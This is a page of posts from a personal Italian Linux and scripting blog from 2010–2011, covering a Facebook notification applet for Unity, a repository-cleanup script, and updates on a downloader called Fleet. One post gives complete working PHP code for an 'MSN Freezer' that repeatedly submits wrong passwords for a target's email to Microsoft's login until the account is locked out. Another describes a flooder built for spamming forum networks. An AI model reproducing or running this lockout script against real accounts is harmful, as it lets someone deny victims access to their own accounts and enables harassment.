18

Mirko P
Idee, scripts e qualche stronzata nerd :-P

Facebook Unity Applet for Ubuntu Puts Alerts on Your Desktop Launcher

 RAGAZZI TEMPO FA ELIMINAI L’APP DI FACEBOOK COLLEGATA A QUESTO APPLET.

VI PREGO DI PAZIENTARE QUALCHE GIORNO E METTERÒ A DISPOSIZIONE UNA NUOVA VERSIONE FUNZIONANTE PER TUTTI E INSTALLABILE DA PPA.
A TAL PROPOSITO: SE QUALCUNO HA GIÀ AVUTO ESPERIENZA CON L’USO DI PPA E PYTHON LO PREGHEREI DI CONTATTARMI A: mirkos93@gmail.com
Mi scuso per il disagio

Ed ecco la mia ultima creazione ragazzi. Vi riporto direttamente l’articolo di OmgUbuntu, dove ha fatto il suo debutto ;)

Google+ might be the cool new kid in town but big ol’ Facebook remains the grandaddy of social networking for many. 

Keeping up with Facebook on Ubuntu has never been an issue; there are a tonne of applications available that let you do everything from read your stream to upload photos and update your status.

If that much Facebook on your desktop sounds like too much you might benefit from   ‘Faccialibro‘ – a simple Unity Launcher applet that lets you know of unread messages, notifications and friend requests – and nothing more.

Download and install the Facebook Applet for Unity

Want to add it? First install ‘python-facebook‘ (click link to install)’.

The applet can be downloaded from the site of the of the developer, mirko, at mirkoweb.org/Faccialibro.tar.gz

Let the download fully complete, then extract the archive into your Home folder.

Next, open into your Home folder and press CTRL+H to reveal hidden file and folders.

Locate and open the folder ‘.faccialibro‘ (note the period proceeding the name)

Inside this folder right-click on the file named ‘Faccialibro.desktop’, selecting the ‘Properties’ item from the menu.

Replace the name ‘mirko‘ present in the ‘Command’ field to that of your username. Your username can be seen next to the Home folder icon at the top of the Nautilus sidebar. To apply the icon drag the ‘facebook.png’ icon into the icon field square. to the left of the entry fields.

Lastly select the ‘Permissions’ tab, where you should check the box next to ‘Allow executing file as program’.

All that remains now is to drag the ‘Faccialibro‘ file onto the Unity Launcher so we can use it: -

Authorise the application with Facebook

In order for Faccialibro to receive notification of alerts it first has to be ‘authorised’ with Facebook. This isn’t a hassle; click on the Faccialibro icon now in your launcher to launch Facebook in your browser where a prompt will appear asking you to ‘Allow’ permission to the app.

Once authorised you can close the window and let the applet do the work.


Posted by Mirko on July 29th, 2011 :: Filed under Linux News

Come pulire i repository in pochi passi!

Salve ragazzi! Stasera avevo “urgente” bisogno di uno script che mi pulisse i repository “danneggiati”, ovvero quelli che restituiscono errore “404″ quando si da apt-get update. Googlando e cercando nei blog principali non sono riuscito a trovare nulla e così me lo sono scritto da me ed ho deciso di condividerlo con tutti voi cari utenti di SpaghettiUbuntu!
Per utilizzarlo, basterà dare questi pochi comandi:

  • wget http://spaghettiubuntu.it/downloads/clearlist.py
  • sudo python clearlist.py

Lo script analizzerà i vostri repository e rimuoverà quelli che restituiscono errore 404!
I codici sono completamente Open Source ;)
Alla prossima!

Mirko
Via SpaghettiUbuntu


Posted by Mirko on October 17th, 2010 :: Filed under Uncategorized
Tags :: , , , , , , , ,

Fleet – Rilascio in PHP

Salve ragazzi,
ho pensato quest’oggi di rilasciarvi la versione PHP di Fleet.
La rilascio così potrete farvi un’idea delle funzionalità che avrà la versione in Python e per farmi dire cosa aggiungere, rimuovere e modificare!

Il download lo trovate su SourceForge, l’installazione è semplice e comunque all’interno potrete trovare un file d’installer.
https://sourceforge.net/projects/fleetdownloader/
Buon download!
Mirko


Posted by Mirko on August 10th, 2010 :: Filed under Fleet
Tags :: , , , , ,

ChristinneFlooder

Eheh ragazzi, la signorina Christinne mi ha richiesto questo flooder ed ho cercato di realizzarne uno all’altezza. :P
Come avete potuto constatare, è un semplice Flooder scritto in Python (eh si, ultimamente mi sto allenando parecchio con questo linguaggio) per i network:
ForumFree
ForumCommunity
BlogFree
(Da me tanto odiati).
Attualmente il download non è disponibile, dato che appunto lo script appartiene alla sola Christinne.
Questo articolo è stato fatto quindi a scopo illustrativo. :)

Alla prossima!
Mirko


Posted by Mirko on August 10th, 2010 :: Filed under Uncategorized
Tags :: , , , , ,

Bing utilizza Linux!

Il motore di ricerca di casa Microsoft, Bing, utilizza nei suoi server nientepopodimeno che Linux!
Questo secondo me, susciterà un po’ di dubbi negli utenti che utilizzano Winzoz

http://toolbar.netcraft.com/site_report?url=http://www.bing.com/
Mirko


Posted by Mirko on August 3rd, 2010 :: Filed under Linux News
Tags :: , , ,

Fleet – Anteprime dell’interfaccia

Credevate che mi ero fermato eh? Beh vi sbagliavate! Ho da studiare, molto da studiare… Ma non ho assolutamente voglia di interrompere gli sviluppi di Fleet, e quindi ecco a voi un paio di screen che vi illustrano il mio lavoro fino ad ora per quanto riguarda Fleet in Python…

Dai ragazzi, pazientate ancora un po’… ;)

Mirko


Posted by Mirko on July 29th, 2010 :: Filed under Fleet
Tags :: , , , , , ,

Fleet – Ancora niente relase ufficiale

Ragazzi, ancora non ho rilasciato Fleet.
Il perché è molto semplice: lo sto riscrivendo completamente in Python.
Il software/script è stato inizialmente scritto in PHP, che per tali cose, secondo me, non è adatto.

Spero di scriverlo il più velocemente possibile.
Scusatemi :(
Mirko


Posted by Mirko on July 22nd, 2010 :: Filed under Fleet
Tags :: , ,

MSN Freezer in PHP

Al solo scopo informativo, oggi vi presento un “Msn Freezer” scritto da me in PHP.
Il procedimento per creare uno di questi script è molto semplice. In pratica basta scrivere un’applicazione che prova ad eseguire il login in continuazione con l’email dell’utente da “freddare” ed una password errata.
Io mi sono avvalso del login per telefoni cellulare di Microsoft messenger:

http://mobile.msn.com/hm/folder.phpx

Dopodiché ho scritto un ciclo che appunto tenta e ritenta il login finché non appare un errore che segnala che non è possibile tentare di nuovo l’accesso.
Eccovi il codice:


<?
function getUrl($url, $method='', $vars='') {
    $agents = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0)";
    $ch = curl_init();
    if ($method == 'post') {
        curl_setopt($ch, CURLOPT_POST, 1);
        if($vars!=NULL) {
            $fields = array();
            foreach($vars as $k => $v) {
                $fields[] = "$k=$v";
            }
            curl_setopt($ch, CURLOPT_POSTFIELDS, implode("&", $fields));
        }
    }
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT,$agents);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '.muCookie');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '.muCookie');
    $buffer = curl_exec($ch);
    curl_close($ch);
    return $buffer;
}
function getData($data) {
    $explode = explode("&",$data);
    $return = array();
    foreach($explode as $dato) {
        $exp = explode("=",$dato);
        $return[$exp[0]] = $exp[1];
    }
    return $return;
}
function freeze($email){
    $random = sha1(time().rand(10000,99999));
    $data = getData("__EVENTTARGET=&__EVENTARGUMENT=&LoginTextBox=$email&PasswordTextBox=$random&SavePasswordCheckBox=0&PasswordSubmit=Sign in");
    $i = 0;
    $a = 0;
    while(true){
        $regex1 = '<meta http-equiv="refresh" content="0;url=(.+?)"/>';
        $get = getUrl('http://mobile.msn.com/hm/folder.phpx');
        preg_match($regex1,$get,$matches);
        $getUrl = getUrl("https://mid.live.com".$matches[1],"post",$data);
        if(eregi('The sign-in information you entered is incorrect. Please try again.',$getUrl)){
            if($a==0){
                echo("Sto freddando...\n");
            }
            $a = 1;
        }else{
            if($i==0){
                echo("Freddato. Premi CTRL+C per fermarmi.\n");
            }
            $i = 1;
        }
    }
}
freeze($argv[1]);
?>

Tale script va eseguito da php-cli (quindi da linea di comando). La sua sintassi è la seguente

php freezer.php [email]

Alla prossima!
Mirko


Posted by Mirko on July 12th, 2010 :: Filed under Scripts PHP
Tags :: , , , , , , , , ,

Fleet! Il nuovo nome per l’ex muDownloader!

Eh si ragazzi, grazie a Barra, ho finalmente deciso il nuovo nome per (l’ex)muDownloader!
Il nuovo nome, come da titolo, sarà Fleet, sicuramente coloro che conoscono minimamente l’inglese sapranno il suo significato ;)
Beh aspettatevi una prima relase entro stanotte o domani pomeriggio!

Mirko


Posted by Mirko on July 8th, 2010 :: Filed under Fleet
Tags :: , , , , , ,

FireFox 4 Beta 1!

Ragazzi, volevo condividere con voi la mia gioia! Sto provando FireFox 4 beta 1!! È fantastico. Velocissimo. Stupendo.
Vi linko subito al download:

http://www.mozilla.com/en-US/firefox/all-beta.html

E qui tutti i vari changelogs:

http://www.mozilla.com/en-US/firefox/4.0b1/releasenotes/

Provatelo, ha una velocità UNICA! Incredibile.

Mirko


Posted by Mirko on July 6th, 2010 :: Filed under Browser
Tags :: , , , , , ,